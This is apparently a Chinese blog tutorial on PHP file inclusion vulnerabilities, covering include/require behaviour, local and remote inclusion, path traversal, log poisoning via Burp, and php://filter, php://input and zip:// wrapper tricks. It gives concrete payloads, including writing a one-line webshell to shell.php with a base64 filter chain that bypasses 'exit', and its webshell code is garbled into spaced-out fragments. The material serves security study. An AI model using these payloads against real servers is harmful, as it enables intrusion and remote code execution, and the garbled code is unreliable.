文件包含漏洞file_include

什么是文件包含?

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含

几个文件包含函数及特点

include函数
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。

include_once函数
功能与include()相同,但程序只调用一次

require函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。

require_once函数
功能与require()相同,但程序只调用一次

常见的文件包含漏洞代码

这样就可以去读取一个文件
payload: ?filename=xxx.xxx

一般是使用相对路径
相对当前文件的另一个文件的位置
…/即前往上一级
要回到根目录可以使用多个…/

本地文件包含

被包含的文件在服务器本地

利用方式

包含本地敏感文件, 上传文件

远程文件包含

利用方式

包含远程攻击者指定远程url文件

被包含的文件在远程服务端
要php.ini配置为允许远程包含
5.x版本之后默认为关闭状态

若要进行远程文件包含测试

在php.ini中修改allow_url_include=On

远程文件包含payload: ?page=xxx.xxx.xxx.xxx/phpinfo.php

xxx为你要远程包含的ip地址

远程包含写入一句话木马

";

m y f i l e = f o p e n ( ′ d e m o . p h p ′ , ′ w ′ ) o r d i e ( " C a n ′ t O p e n T h e F i l e " ) ; f w r i t e ( myfile = fopen('demo.php','w') or die("Can't Open The File"); fwrite( myfile=fopen(demo.php,w)ordie("CantOpenTheFile");fwrite(myfile, $payload);
fclose();
?>

并且将其包含
即可创建
demo.php

XSS可以配合文件包含漏洞进行信息获取

即输入进入文件时会将<>进行url编码

我们使用burp进行抓包

将url编码改回来
forward
即可在访问日志时查看到信息

文件利用方式php://filter协议

=php://filter/convert.base64-encode/resource=index.php

有时候即使我们成功包含一句话木马
但因为exit使得后面的信息无法当作php进行处理

这个时候我们可以将前面的信息做base64加密

在后面写入时再进行base64解密

txt=aPD9waHAgcGhwaW5mbygpOz8+
a是前面需要加的一个字符

加a的原因是phpexit为7个字符

而php解码为4个byte一组

php在进行解码时遇到不在其中的字符时会选择跳过该字符

后面的时php一句话木马base64加密后的结果

最后我们进行解密

filename=php://filter/write=convert.base64-decode/resource=shell.php

也可以用string_strip_tags去除死亡exit

exp:
txt=PD9waHAgcGhwaW5mbygpOz8+ && filename=php://filter/write=string_strip_tags|convert.base64-decode/resource=shell.php
这种方法可以不用到a

php://input

")?>

这个操作要配置allow_url_include=On

其他的还有zip:// bzip2:// zlib://
zip://[压缩文件绝对路径]#压缩文件内的子文件名
bzip2://[压缩文件绝对路径]#压缩文件内的子文件名
zlip://[压缩文件绝对路径]#压缩文件内的子文件名

因为要使用到绝对路径
所以使用到的情况较少

你可能感兴趣的:(文件包含漏洞file_include)